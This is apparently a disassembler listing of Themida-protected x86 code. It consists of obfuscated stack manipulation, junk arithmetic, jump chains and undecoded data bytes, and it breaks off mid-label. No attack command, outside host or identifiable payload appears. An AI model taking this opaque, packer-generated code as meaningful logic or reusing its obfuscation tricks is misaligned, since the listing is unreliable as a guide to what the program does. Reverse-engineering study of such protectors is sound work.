xor ebx, ebp pop ebp sub ebx, 0A1E45E71h jmp loc_56030B ; --------------------------------------------------------------------------- aRsK db 'RИ╧k',0 dw 2900h dd 34FF240Ch, 0C4815924h, 4, 2C7BE981h, 0BA523FF1h, 29EB14E2h dd 0E0E9D121h db 0FAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5544DB: ; CODE XREF: Themida_:005653A8j pop edx sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], esp jmp loc_560E21 ; --------------------------------------------------------------------------- db 89h dd 0D8B9240Ch, 554A2B25h, 0A620B2BDh, 8FC58158h, 57062640h dd 0FE45C7BFh, 92EE934h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554512: ; CODE XREF: Themida_:0056325Bj mov ecx, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] sub edi, 5E816E1Bh jmp loc_561096 ; --------------------------------------------------------------------------- loc_554537: ; CODE XREF: Themida_:0055AA42j sub edi, 7427B3Eh jmp loc_553F7C ; --------------------------------------------------------------------------- aRqs db 'RQИвй',0 dd 8BEB2900h, 0C481242Ch, 4, 1563E9h, 4FE98100h, 177C16Bh dd 4FC181E9h, 6877C16Bh, 66F5h, 0BD242C89h, 68A30442h dd 4955ED81h, 0ED8131EAh, 527D479Eh, 8CF4E9h, 2434FF00h dd 4C4815Eh, 29000000h, 0BEB81C3h, 666F1777h, 10E930FFh dd 58FFFFC4h, 0B4D1E9h, 5FF80100h, 8758C701h, 248B243Ch dd 0B60F6624h, 1DE96800h, 0C2E90000h, 830000DFh, 0FF5104E9h dd 0E9042474h, 75B7h, 4268E9F7h, 8900006Fh, 8B54243Ch dd 0C481243Ch, 4, 4BB5352h, 89000000h, 1DE95BDAh, 5EFFFFE1h dd 34FFEA89h, 0CCEBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5545FA: ; CODE XREF: Themida_:00555A70j sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55F177 ; --------------------------------------------------------------------------- loc_554614: ; CODE XREF: Themida_:005640E2j add ecx, eax mov eax, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx jmp loc_557538 ; --------------------------------------------------------------------------- aXstb db 'XИt║',0 align 10h dword_554630 dd 24048B66h, 27D2E951h, 0E3860000h, 84CB050h, 2CF4E9C3h ; DATA XREF: Themida_:00550904o dd 0E95A0000h, 679Ah, 7A91E95Dh, 0C4830000h, 8BF22904h dd 0C4832434h, 0FEF28104h, 81420A7Dh, 0F1494BF2h, 0E9D001C1h dd 0ED56h, 0BA241489h, 4, 7E75ED81h, 0CEE95825h, 58000098h dd 0FFEC92E9h, 4BDFFh, 0E9010000h, 0F00BE9h db 0 ; --------------------------------------------------------------------------- loc_554695: ; CODE XREF: Themida_:005532B2j mov eax, 6A0D5778h dec eax push ebx mov ebx, 9510616h add ebx, 1 or ebx, 17DE613Ch inc ebx jmp loc_561F57 ; --------------------------------------------------------------------------- dd 468F1F7h, 89000033h, 9C502414h, 0FFC2EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5546C1: ; CODE XREF: Themida_:0055F8B4j mov ebp, 4 add edx, ebp mov ebp, [esp] push eax mov eax, esp add eax, 4 jmp loc_56374F ; --------------------------------------------------------------------------- dd 4EC81h, 0FDE90000h, 8F00002Fh, 895C2404h, 0E0892404h dd 405h, 22D00h, 0CCE90000h, 8900001Dh, 4C681E6h, 0E9000000h dd 0D040h, 8904EC83h, 0A4E92434h, 830000D0h, 0C68304C4h dd 74FF5602h, 8F5E0424h, 248B2404h, 1F59E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55472A: ; CODE XREF: Themida_:00562FBEj sub eax, 443B2CCAh add eax, esi add eax, 443B2CCAh pop esi xor eax, 4A1E5608h jmp loc_55298D ; --------------------------------------------------------------------------- db 29h, 0F7h, 0FFh dd 348B2434h, 4C48124h, 81000000h, 4ECh, 7D97E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55475A: ; CODE XREF: Themida_:005603E8j pop eax jmp loc_550BD7 ; --------------------------------------------------------------------------- dd 525FF801h, 6010E9h db 0 ; --------------------------------------------------------------------------- loc_554769: ; CODE XREF: Themida_:0055760Aj jmp loc_5509AF ; --------------------------------------------------------------------------- dw 0B151h dd 30B20Ch, 0EA86E9CAh, 48F0000h, 8F545C24h, 4832404h dd 0E9590424h, 3A8Ch dword_55478C dd 8B2434FFh, 0E9522404h, 0B56Ch ; DATA XREF: Themida_:005507D8o ; --------------------------------------------------------------------------- loc_554798: ; CODE XREF: Themida_:0056020Ej push 1A6367A6h pop eax jmp loc_565742 ; --------------------------------------------------------------------------- loc_5547A3: ; CODE XREF: Themida_:00559696j push ebp jmp loc_563665 ; --------------------------------------------------------------------------- loc_5547A9: ; CODE XREF: Themida_:0055B0F8j push dword ptr [esp+4] jmp loc_561B7D ; --------------------------------------------------------------------------- aSiuvsm? db 'S┴ЦVИm?',0 dw 8900h dd 5E5F5AD0h, 13A7522Dh, 58C6318Eh, 5FE9F031h, 8B00001Dh dd 0C483240Ch, 0DFE95604h, 0FF000018h, 59042474h, 0F605E9h db 0 ; --------------------------------------------------------------------------- loc_5547E5: ; CODE XREF: Themida_:0055B927j pop dword ptr [esp] mov esp, [esp] loc_5547EB: ; CODE XREF: Themida_:00565152j push 21F8h mov [esp], esi mov esi, esp push edi mov edi, 47B15CCEh sub edi, 47B15CCAh add esi, edi pop edi sub esi, 4 xor esi, [esp] xor [esp], esi jmp loc_559FC2 ; --------------------------------------------------------------------------- db 0C1h, 0EFh, 2 dd 240CFF57h, 0FD5DE9h, 24048F00h, 0F624248Bh, 0B60F66E9h dd 314968CCh, 14890000h, 51E28924h, 4B9h, 0B2A2E900h db 2 dup(0) word_554842 dw 8B66h ; DATA XREF: Themida_:0055072Co dd 5457240Ch, 0EAE8E95Fh, 0BF57FFFFh, 4, 34FFF901h, 54565F24h dd 0FFD36EE9h db 0FFh ; --------------------------------------------------------------------------- loc_554861: ; CODE XREF: Themida_:00555A2Fj sub ecx, edi push eax push edi push esi push 1F804F87h pop esi shl esi, 2 or esi, 70144C29h sub esi, 41666FF2h mov edi, esi pop esi push ecx jmp loc_560277 ; --------------------------------------------------------------------------- dd 1B28BB53h, 0DA8928FFh, 6EAC15Bh, 1516E281h, 0C14A7B20h dd 0C28107EAh, 40D5CD75h, 815AD501h, 0A8022BEDh, 8BEF21C8h dd 0C483242Ch, 2708E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5548B6: ; CODE XREF: Themida_:00552EE9j xor eax, esi mov esi, [esp] add esp, 4 add edi, eax pop eax push ebp mov ebp, 6A764909h neg ebp dec ebp xor ebp, 9589B6F2h add edi, ebp jmp loc_55B0F1 ; --------------------------------------------------------------------------- dw 0E281h dd 19FD48ECh, 2605CA81h, 0EA8166AFh, 43E95E74h, 10735E9h dd 2434FF00h, 81242C8Bh, 4C4h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_556D6F ; --------------------------------------------------------------------------- loc_554905: ; CODE XREF: Themida_:0055A832j xchg ebp, [esp] mov esp, [esp] mul cl jmp loc_55B94C ; --------------------------------------------------------------------------- loc_554912: ; CODE XREF: Themida_:00560B50j pop ecx push eax jmp loc_55C48F ; --------------------------------------------------------------------------- db 0BAh, 18h, 1 dd 0EA8139AFh, 1A325196h, 590BE281h, 0E2C10448h, 81D2F702h dd 0EA6034EAh, 5AD30192h, 7993EB81h, 0C329421Fh, 7993C381h dd 0C6E9421Fh, 81FFFFD9h, 4C4h, 0ADB85000h, 29D5C1EDh dd 0EB8158C6h, 2B9C0D9Dh, 47E9E9h db 0 ; --------------------------------------------------------------------------- loc_554965: ; CODE XREF: Themida_:0055420Fj mov esi, esp add esi, 4 jmp loc_55169D ; --------------------------------------------------------------------------- loc_554972: ; CODE XREF: Themida_:005588BBj push 6967h mov [esp], ecx mov ecx, 1A183252h sub [esp+8], ecx pop ecx mov edx, [esp] add esp, 4 mov ecx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp sub ecx, 2BAC4BDEh mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 3E461EB5h inc edi add edi, 676E1282h push 26B9h mov [esp], eax sub esp, 4 mov [esp], esi push 462D25E7h jmp loc_56353C ; --------------------------------------------------------------------------- loc_5549E4: ; CODE XREF: Themida_:0055678Cj add ebp, esi add ebp, 22F12BADh pop esi push ecx push edi push 1A471F59h pop edi shl edi, 6 xor edi, 5D432845h dec edi jmp loc_55AF97 ; --------------------------------------------------------------------------- loc_554A04: ; CODE XREF: Themida_:0055562Cj mov ebx, [esp] add esp, 4 jmp loc_5516CF ; --------------------------------------------------------------------------- dw 0C281h dd 4, 5C241487h, 517AEE81h, 0CE817DC8h, 65DE0C56h, 8060E9h db 0 ; --------------------------------------------------------------------------- loc_554A2D: ; CODE XREF: Themida_:0055CDB7j add edi, 7803E9B2h sub edx, edi jmp loc_55B6B3 ; --------------------------------------------------------------------------- loc_554A3A: ; CODE XREF: Themida_:0055B0B7j push 66CDh mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_557666 ; --------------------------------------------------------------------------- loc_554A4F: ; CODE XREF: Themida_:0055206Bj add dword ptr [esp], 4 pop ecx push ebp mov ebp, 4AB7667Eh and ebp, 2B7F3118h and ebp, 6DD07EE8h push esi mov esi, 35D62CFh and ebp, esi pop esi push edx jmp loc_55E598 ; --------------------------------------------------------------------------- db 5Dh, 0C1h, 0E0h dd 0B630506h, 0FF055E00h, 5FFFFFFh, 0AB16EFC8h, 8158C301h dd 4F709CC3h, 81C32968h, 4F709CEBh, 4EC8168h, 89000000h dd 0A4B82404h, 354AD318h, 1FDD1362h, 71FCBD55h, 0E5C16B5Ah dd 7EDC106h, 6889E581h, 0C58145F5h, 34946780h, 0B9D1C581h dd 0E82902A4h, 48B4E9h db 0 ; --------------------------------------------------------------------------- loc_554AD1: ; CODE XREF: Themida_:005659DAj mov [esp], esi push edi jmp loc_55350D ; --------------------------------------------------------------------------- dw 9BB0h dd 535AD000h, 0F830A9B7h, 95E9E9h db 0 ; --------------------------------------------------------------------------- loc_554AE9: ; CODE XREF: Themida_:005559D9j add ebp, edi pop edi push esi push 67E8h mov [esp], ebp jmp loc_561E9E ; --------------------------------------------------------------------------- loc_554AFA: ; CODE XREF: Themida_:005636B8j add edi, 1 not edi push 0D78h mov [esp], eax jmp loc_55D47C ; --------------------------------------------------------------------------- aUsqi db 'UИ÷┬',0 align 2 dw 0C683h dd 92BA52FFh, 5126A977h, 9B3935B9h, 21C9810Ah, 494D680Fh dd 7701E9h db 0 ; --------------------------------------------------------------------------- loc_554B2D: ; CODE XREF: Themida_:00557515j mov edx, 0C5417E0h xor ebp, edx pop edx not ebp jmp loc_564F29 ; --------------------------------------------------------------------------- dd 68585450h, 13BFh, 0BE243489h, 19862FDFh, 0FFF209E9h db 0FFh ; --------------------------------------------------------------------------- loc_554B51: ; CODE XREF: Themida_:0055E7F2j add esi, 4 add esi, 4 jmp loc_553EB9 ; --------------------------------------------------------------------------- aSsU db 'SИйu',0 dd 90BE6600h, 0F3016666h, 81665E66h, 0E90BF9EBh, 5874h dd 83242C8Bh, 24E904C4h, 0BD000020h, 4, 9901E9h, 2EEC000h dd 0DEACE9h, 1AEE8100h, 14DA729h, 0D6CBE9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554BA2: ; CODE XREF: Themida_:00562FB0j mov [esp], ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ebx push 4 pop ebx add ecx, 4A1943D6h sub ecx, ebx sub ecx, 4A1943D6h pop ebx jmp loc_562F48 ; --------------------------------------------------------------------------- loc_554BD0: ; CODE XREF: Themida_:00557D9Fj xchg ebx, edi sub ebx, 0FFFFFFFFh xchg ebx, edi jmp loc_55AA3C ; --------------------------------------------------------------------------- db 81h dd 0D81AD1EAh, 0AD3E90Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554BEA: ; CODE XREF: Themida_:00554228j mov dl, 0CBh mov ch, dl pop edx add bl, 30h sub bl, 91h add bl, ch add bl, 91h push small 63E3h jmp loc_565944 ; --------------------------------------------------------------------------- db 50h dd 7674BF57h, 0D7F77508h, 8102EFC1h, 952B66EFh, 9FE94F31h db 0BAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554C1B: ; CODE XREF: Themida_:0055C5C2j shr edi, 3 xor edi, 15DA50D5h shr edi, 2 dec edi push ecx mov ecx, 0AA22B7F3h sub edi, ecx pop ecx add ebx, edi mov edi, [esp] add esp, 4 mov edx, [esp] add esp, 4 sub ebx, 0FFFFFFFFh shl ebx, 8 sub ebx, 9A8C9500h and eax, ebx mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_55D561 ; --------------------------------------------------------------------------- dd 0E95FF889h, 99B0h, 0E924148Bh, 495Ah ; --------------------------------------------------------------------------- loc_554C78: ; CODE XREF: Themida_:00561FBEj pop edi push dword ptr [esp] pop eax add esp, 4 jmp loc_5563AF ; --------------------------------------------------------------------------- dd 54240489h, 3E36E958h, 75B90000h, 158257Eh, 815A59CDh dd 4C5h, 8DDFE900h, 4290000h, 0BA525724h, 2C6046A1h, 911607BFh dd 5AD701E6h, 4247C01h, 0FF41E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554CC2: ; CODE XREF: Themida_:0055A951j mov ebx, edi pop edi add edx, ebx mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_55CB41 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0F8ACh ; --------------------------------------------------------------------------- loc_554CE0: ; CODE XREF: Themida_:00565934j pop esp sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_55869A ; --------------------------------------------------------------------------- loc_554CF0: ; CODE XREF: Themida_:0055D477j add esi, ecx jmp loc_555A6C ; --------------------------------------------------------------------------- loc_554CF7: ; CODE XREF: Themida_:00565A67j push esi mov esi, 7A8C294Dh shr esi, 5 push eax mov eax, 9BE0F4Dh not eax add eax, 7FD41591h jmp loc_5564F6 ; --------------------------------------------------------------------------- dw 0DFF7h dd 38A5BB53h, 0F38110CDh, 33BF00B2h, 3793F381h, 0DF01329Dh dd 53241C8Bh, 0C381E389h, 4, 0E904C383h, 58DEh ; --------------------------------------------------------------------------- loc_554D3C: ; CODE XREF: Themida_:00562F1Cj push esp pop ebx add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_56358D ; --------------------------------------------------------------------------- byte_554D55 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005508A8o dd 8B2434FFh, 0C481240Ch, 4, 0E95A5452h, 0FFFFDA75h, 0A025D4BBh dd 7EBC156h, 2414F753h, 0B8EB815Bh, 51767004h, 0FE6DADB9h dd 0E9CB2914h, 6D4Ah, 0FED3E380h, 810FE9CBh, 34FF0000h dd 0AD82E924h, 34FF0000h, 2434FF24h, 0F13AE9h db 0 ; --------------------------------------------------------------------------- loc_554DA9: ; CODE XREF: Themida_:00561F3Cj mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx push esp mov ebx, [esp] add esp, 4 jmp loc_560FDC ; --------------------------------------------------------------------------- dd 79C568h, 24248900h, 4BE56h, 74010000h, 8F5E0424h, 4832404h dd 685D0424h, 6EB7h, 68241489h, 4, 0FD31E9h db 0 byte_554DFD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550798o dd 0BD685724h, 0E9000018h, 7BA8h ; --------------------------------------------------------------------------- loc_554E0C: ; CODE XREF: Themida_:005520D0j xor ecx, [esp] mov esp, [esp] mov cx, [esp] push ebx mov ebx, esp jmp loc_553879 ; --------------------------------------------------------------------------- loc_554E1E: ; CODE XREF: Themida_:00562670j dec eax xor eax, 14542663h shr eax, 7 not eax shl eax, 5 add eax, 12591924h add edx, eax pop eax jmp loc_5524C8 ; --------------------------------------------------------------------------- aUws db 'UWИэ#',0 align 10h dd 83E9FD31h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554E47: ; CODE XREF: Themida_:005534FEj mov edi, 161222A5h xor edi, 6DBB2B62h dec edi shr edi, 2 xor edi, 7AA47AD2h xor edi, 6C2833D9h mov esi, edi jmp loc_563D47 ; --------------------------------------------------------------------------- loc_554E69: ; CODE XREF: Themida_:005533EBj push 7ABDh mov [esp], esp sub esp, 4 jmp loc_55645B ; --------------------------------------------------------------------------- loc_554E79: ; CODE XREF: Themida_:00555908j mov edx, 362F1517h add ebx, edx pop edx pop edi jmp loc_5533A7 ; --------------------------------------------------------------------------- loc_554E87: ; CODE XREF: Themida_:0055DA5Cj mov [esp], esi push edi push 18887B66h pop edi not edi sub edi, 7E111F5Fh mov esi, edi pop edi push edi jmp loc_551189 ; --------------------------------------------------------------------------- loc_554EA2: ; CODE XREF: Themida_:005575E8j push 538Ah mov [esp], edi mov edi, 4 add eax, 19771064h add eax, 10A04EB0h jmp loc_5659DF ; --------------------------------------------------------------------------- dw 0D631h dd 72E9F231h db 0Ah, 1, 0 byte_554EC7 db 50h ; DATA XREF: Themida_:005506D0o dd 0C3243481h, 8B7F6773h, 34E92404h, 5BFFFFE3h, 0E924048Fh dd 10E16h, 4C6815Ch, 57000000h, 661CEFBFh, 0C8E78178h dd 4F03B30Fh, 1F1BBA52h, 0D7217D29h, 32B9515Ah, 91E7A66h dd 0EF8159CFh, 1E7A6E2Fh, 9BE9FE01h, 81000021h, 0F2E8EF2h dd 2E2C11Bh, 0F7F2874Ah, 0D9D9E9D6h, 4890000h, 2B824h dd 89530000h, 5BDF89C3h, 5FFE0158h, 4EC81h, 34890000h dd 0F626E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554F46: ; CODE XREF: Themida_:0055B221j mov ebx, ecx pop ecx jmp loc_55BE0A ; --------------------------------------------------------------------------- loc_554F4E: ; CODE XREF: Themida_:00564621j add esp, 4 not edx jmp loc_55E72C ; --------------------------------------------------------------------------- loc_554F58: ; CODE XREF: Themida_:0055B455j mov esi, edx pop edx sub esi, 57DA5CB3h xor esi, 344396Ah jmp loc_5575A4 ; --------------------------------------------------------------------------- dd 2404895Ch, 5A2434FFh, 6DF068h, 0C5B3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554F7E: ; CODE XREF: Themida_:0055A33Ej mov esi, 4B1870B1h neg esi jmp loc_557773 ; --------------------------------------------------------------------------- dw 20E9h dd 0B8FFFFBAh, 4, 80FEE9h db 0 ; --------------------------------------------------------------------------- loc_554F99: ; CODE XREF: Themida_:0055AD0Dj pop eax xor eax, 73232CEh jmp loc_564267 ; --------------------------------------------------------------------------- db 0C3h aM0SB db '╛0ьИ"b',0 ; DATA XREF: Themida_:005506CCo dd 241C3100h, 0FFD996E9h db 0FFh ; --------------------------------------------------------------------------- loc_554FB5: ; CODE XREF: Themida_:0056396Ej inc edx sub edx, 0D580C74Fh sub eax, edx pop edx push dword ptr [esp] jmp loc_5628A5 ; --------------------------------------------------------------------------- db 50h dd 0F0E9E089h, 800006Eh, 665A66D1h, 6610E768h, 0B2241489h dd 66D100F8h, 76F1805Ah, 28DFEE80h, 0DFC680CEh, 9E41E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554FF2: ; CODE XREF: Themida_:00556D46j add ebx, edi jmp loc_55E8D1 ; --------------------------------------------------------------------------- db 81h, 0EAh, 9Eh dd 5F326F11h, 5C241487h, 2D42E9h db 0 ; --------------------------------------------------------------------------- loc_555009: ; CODE XREF: Themida_:0055CE91j push ebx mov bl, 2Ah jmp loc_55DDE2 ; --------------------------------------------------------------------------- loc_555011: ; CODE XREF: Themida_:0055F6EDj sub esp, 4 mov [esp], esp jmp loc_55E470 ; --------------------------------------------------------------------------- dd 240C8966h, 0CE00AFB1h, 69E95966h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55502B: ; CODE XREF: Themida_:00559141j push ebp add dword ptr [esp], 7E6E787Bh mov ebx, [esp] add esp, 4 jmp loc_562A08 ; --------------------------------------------------------------------------- loc_55503E: ; CODE XREF: Themida_:00565BBBj push edx mov edx, esp push 3834h mov [esp], ecx jmp loc_5610B3 ; --------------------------------------------------------------------------- dw 0F501h dd 8324348Bh, 0A46804C4h, 8900000Ch, 2BF243Ch, 1000000h dd 0B10E9FDh, 0C330001h, 240C3124h, 8B240C33h, 55532424h dd 0FFE9D4E9h, 0E2C142FFh, 81DAF708h, 6BF825C2h, 1AAE90Bh dd 0C6290001h, 6880C681h, 0C6814C32h, 43A30821h, 6AC0E958h db 2 dup(0) word_5550A2 dw 66ACh ; DATA XREF: Themida_:005507B0o dd 0E9039268h, 5F79h, 68242C89h, 318C6A0Ah, 0D5F74D5Dh dd 0E906EDC1h, 20BEh, 673825BBh, 0CB814365h, 14F220C3h dd 1543F381h, 0DD0110C4h, 53DD875Bh, 5B240CFFh, 0BB53DD87h dd 79BD590Ch, 283E381h, 0E3810A5Ah, 465E1B6Fh, 54C9EB81h dd 0F38131F5h, 0E567D6C6h, 815BDD01h, 673F08C3h, 81EB014Eh dd 673F08EBh, 242C8B4Eh, 0CBBFE9h, 0E3895300h, 4C381h dd 0EB830000h, 3EFEE904h, 0E9590000h, 43FEh, 0D388C288h dd 2C5A585Ah, 0BB64E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55513A: ; CODE XREF: Themida_:005527BAj add ebp, esi pop esi neg ebp jmp loc_55F2EB ; --------------------------------------------------------------------------- loc_555144: ; CODE XREF: Themida_:00564F43j push ebx jmp loc_55A1C8 ; --------------------------------------------------------------------------- loc_55514A: ; CODE XREF: Themida_:00552371j pop esi jmp loc_5530D7 ; --------------------------------------------------------------------------- loc_555150: ; CODE XREF: Themida_:0055CA6Fj sub esp, 4 mov [esp], ecx mov ecx, esp push eax jmp loc_553D8D ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0C781E789h, 4, 4A74E9h, 2CD10400h, 148B66E9h, 87C5E924h dd 4ABB0000h, 81338C4Fh, 666055C2h, 81DA2956h, 666055EAh dd 0F18E956h, 0DBF70000h, 4257F381h, 0CB8127FDh, 5FBA5A60h dd 7FEBEB81h, 0DD017FFAh, 4C5835Bh, 8B242C87h, 48F2424h dd 0EB3BE924h, 0E8C1FFFFh, 0EF13507h, 0C631112Ch, 0B7B85058h dd 0E934C713h, 5CD1h ; --------------------------------------------------------------------------- loc_5551D4: ; CODE XREF: Themida_:0055D8C8j mov ecx, 86AAA9DCh sub ecx, ebp pop ebp sub [esp+4], ecx mov ecx, [esp] add esp, 4 pop eax push esi mov esi, 455B2273h add esi, 40C824BAh jmp loc_55A22B ; --------------------------------------------------------------------------- loc_5551FB: ; CODE XREF: Themida_:00559FBDj add al, 96h push ebx push ecx mov ch, 34h sub ch, 0FFh and ch, 0E4h jmp loc_557343 ; --------------------------------------------------------------------------- dword_55520C dd 0E9240C31h, 331Ah ; DATA XREF: Themida_:0055079Co ; --------------------------------------------------------------------------- loc_555214: ; CODE XREF: Themida_:00560737j sub esp, 4 mov [esp], ebx push 0F67914h mov ebx, [esp] push 28Ah mov [esp], ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push ebp mov ebp, 6A980C0Ch not ebp shl ebp, 6 neg ebp shr ebp, 1 push edi mov edi, 7F37C3A8h xor ebp, edi pop edi xor ebx, ebp jmp loc_557411 ; --------------------------------------------------------------------------- dd 885AD428h, 0E68058E6h, 3FF6807Bh, 148BF130h, 4C48324h dd 0C05AF130h, 0C18007E9h, 0E9C83034h, 335Bh, 0BBE9F801h dd 810000A6h, 4ECh, 24348900h, 0BC777CBEh, 49EA8139h, 295B1D13h dd 49C281F2h, 5E5B1D13h, 61CE9h, 0C1815F00h, 1406CBDCh dd 5683BE56h, 0C14E1B8Eh, 0C68102E6h, 76908D5h, 11C3F681h dd 0E6D16E7Dh, 449CC681h, 0F029C9E0h, 5C8015Eh, 19F2AD8h dd 0FFFAB1E9h, 0E95552FFh, 0FFFFD27Ch ; --------------------------------------------------------------------------- loc_5552F4: ; CODE XREF: Themida_:005621BEj pop ecx add esp, 4 push eax push ebx push eax mov al, 0Ch add al, 93h inc al push ebx mov bh, 93h jmp loc_5602B1 ; --------------------------------------------------------------------------- db 81h, 0C6h, 2 dd 0E9000000h, 7CC5h, 6247BD55h, 0E9013B91h, 81242C8Bh dd 4C4h, 0FFCB0100h, 57592434h, 0C781E789h, 4, 4C781h dd 3C870000h, 0D832E924h, 0EE83FFFFh, 24348704h, 242C895Ch dd 651468h, 0E532E900h, 875F0000h, 535C241Ch, 5E9E389h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555363: ; CODE XREF: Themida_:0055CBEAj sub ebp, esi pop esi sub ebp, 70C82422h add ebp, eax add ebp, 70C82422h sub esp, 4 mov [esp], ebx jmp loc_556E20 ; --------------------------------------------------------------------------- dw 8B5Eh dd 0C481242Ch, 4, 0FFEFB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_555391: ; CODE XREF: Themida_:0055C416j xor eax, ecx xor ecx, eax xor eax, ecx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_55B34E ; --------------------------------------------------------------------------- db 5Eh dd 70F43540h, 0C229236Bh, 8324048Bh, 48B04C4h, 4C48324h dd 8B241487h, 8B662424h, 1AE9240Ch db 0E9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5553CF: ; CODE XREF: Themida_:005655A9j push 6D7Fh mov [esp], edx mov edx, 27F3445Dh inc edx dec edx and edx, 778A1306h add edx, 8171C514h push edx push ebp mov ebp, 0B0D0746h jmp loc_5636BD ; --------------------------------------------------------------------------- dw 1489h dd 0E99C5024h, 0FFFFB5AFh ; --------------------------------------------------------------------------- loc_555400: ; CODE XREF: Themida_:0055ACD2j mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebp jmp loc_557B7F ; --------------------------------------------------------------------------- dd 88FCEB80h, 0C0A2E9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55542A: ; CODE XREF: Themida_:00560B2Aj pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_55DC3F ; --------------------------------------------------------------------------- dw 8F5Ah dd 248B2404h, 0FC33024h, 61E9C0B6h, 8300001Ah, 0C30104C4h dd 0A313E9h, 24043300h, 0E924248Bh, 108B1h dword_55545C dd 240C8B66h ; DATA XREF: Themida_:005506F4o ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 335Fh mov [esp], edi mov edi, 10A5436Eh neg edi jmp loc_5587C8 ; --------------------------------------------------------------------------- db 0E9h, 2Dh, 0B5h dd 815DFFFFh, 4C5h, 0C76FE900h, 525AFFFFh, 18A005BAh, 0E9D001A0h dd 0FFFFD339h, 4055854h, 83000000h, 48704C0h, 0F832E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5554AE: ; CODE XREF: Themida_:00553031j push edi jmp loc_55D61E ; --------------------------------------------------------------------------- loc_5554B4: ; CODE XREF: Themida_:0055F444j mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edi push 4590h mov [esp], esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push 4 pop ecx push ebx mov ebx, 579A68BAh add dword ptr [esp+8], 14114104h add [esp+8], ebx sub dword ptr [esp+8], 14114104h pop ebx add [esp+4], ecx sub dword ptr [esp+4], 579A68BAh jmp loc_55F54A ; --------------------------------------------------------------------------- aYSJ db 'Y]И ├',0 align 4 a1434S db '14$34$И)\',0 dw 100h dd 0B7C381F3h, 0E92C3C6Eh, 0FFFFF045h ; --------------------------------------------------------------------------- loc_555540: ; CODE XREF: Themida_:005604DAj xchg ecx, [esp] pop esp add esi, 4 push ebp mov ebp, 4 add esi, 63985D49h add esi, 3C374030h jmp loc_559DEC ; --------------------------------------------------------------------------- loc_555561: ; CODE XREF: Themida_:00563604j add edi, 72CC2B98h jmp loc_55CDB4 ; --------------------------------------------------------------------------- dd 0C3805966h, 48B04EEh, 0D0B8E926h, 52660000h, 0FE00E9h dd 9F20500h, 0D0013FF3h, 0F309F22Dh, 0CFE9553Fh db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555593: ; CODE XREF: Themida_:005522DCj cmp cx, ax pushf jmp loc_5509AF ; --------------------------------------------------------------------------- loc_55559C: ; CODE XREF: Themida_:00557DEFj xor esi, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_552E45 ; --------------------------------------------------------------------------- dw 0C383h dd 241C8704h, 4C4815Ch, 83000000h, 0BB5304C4h, 4, 1C8BDA01h dd 4C48124h, 83000000h, 0C8904ECh, 9418E924h, 89660000h dd 0EC832404h, 240C8904h, 0A668E1B1h, 8900000Dh, 7B7241Ch dd 6608EFC0h, 0ABB55150h, 2059E888h, 48B66C7h, 3FF36824h dd 3C890000h, 81E78924h, 4C7h, 2C78300h, 0FFD2C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_555615: ; CODE XREF: Themida_:0055EB4Fj pop ebx add edx, 9D842DCh add edx, esi sub edx, 9D842DCh push ebx mov ebx, 65500C0Fh add edx, ebx jmp loc_554A04 ; --------------------------------------------------------------------------- db 4Bh, 81h, 0C3h dd 0E064C40Dh, 37E9DF01h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55563F: ; 